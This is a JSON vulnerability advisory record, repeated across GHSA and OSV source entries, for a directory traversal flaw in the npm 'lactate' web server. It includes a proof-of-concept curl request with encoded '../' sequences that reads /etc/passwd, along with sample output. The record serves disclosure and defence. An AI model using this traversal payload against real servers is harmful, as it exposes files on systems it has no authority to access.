{"id":"GHSA-68gr-cmcp-g3mj","aliases":[],"status":"published","title":"Directory Traversal in lactate","description":"A crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.\n\nMitigating factors:\nOnly files that the user running `lactate` has permission to read will be accessible via this vulnerability.\n\n\n[Proof of concept](https://hackerone.com/reports/296645):\nPlease globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.\n\nThe following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:\n\n```\ncurl \"http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n[...]\n```\n\n\n## Recommendation\n\nAs there is currently no fix for this issue selecting an alternative static web server would be the best choice.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22"],"published":"2019-06-14T16:39:31Z","modified":"2023-01-09T05:01:40Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"lactate","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.13.12"}]}]},{"source":"osv","ecosystem":"npm","package":"lactate","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.13.12"}]}]}],"references":[{"url":"https://github.com/RetireJS/retire.js/commit/800c8140884eaa5753a49308f560c925fe97b9a5","tags":["web"]},{"url":"https://hackerone.com/reports/296645","tags":["web"]},{"url":"https://www.npmjs.com/advisories/560","tags":["web"]},{"url":"https://snyk.io/vuln/npm:lactate:20180123","tags":["web"]},{"url":"https://github.com/advisories/GHSA-68gr-cmcp-g3mj"}],"sources":{"ghsa":[{"id":"GHSA-68gr-cmcp-g3mj","title":"Directory Traversal in lactate","description":"A crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.\n\nMitigating factors:\nOnly files that the user running `lactate` has permission to read will be accessible via this vulnerability.\n\n\n[Proof of concept](https://hackerone.com/reports/296645):\nPlease globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.\n\nThe following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:\n\n```\ncurl \"http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n[...]\n```\n\n\n## Recommendation\n\nAs there is currently no fix for this issue selecting an alternative static web server would be the best choice.","status":"published","published":"2019-06-14T16:39:31Z","modified":"2023-01-09T05:01:40Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:36:02.073372Z"}],"osv":[{"id":"GHSA-68gr-cmcp-g3mj","title":"Directory Traversal in lactate","description":"A crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.\n\nMitigating factors:\nOnly files that the user running `lactate` has permission to read will be accessible via this vulnerability.\n\n\n[Proof of concept](https://hackerone.com/reports/296645):\nPlease globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.\n\nThe following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:\n\n```\ncurl \"http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n[...]\n```\n\n\n## Recommendation\n\nAs there is currently no fix for this issue selecting an alternative static web server would be the best choice.","status":"published","published":"2019-06-14T16:39:31Z","modified":"2021-08-16T23:34:10Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:39.266402Z"}]}}
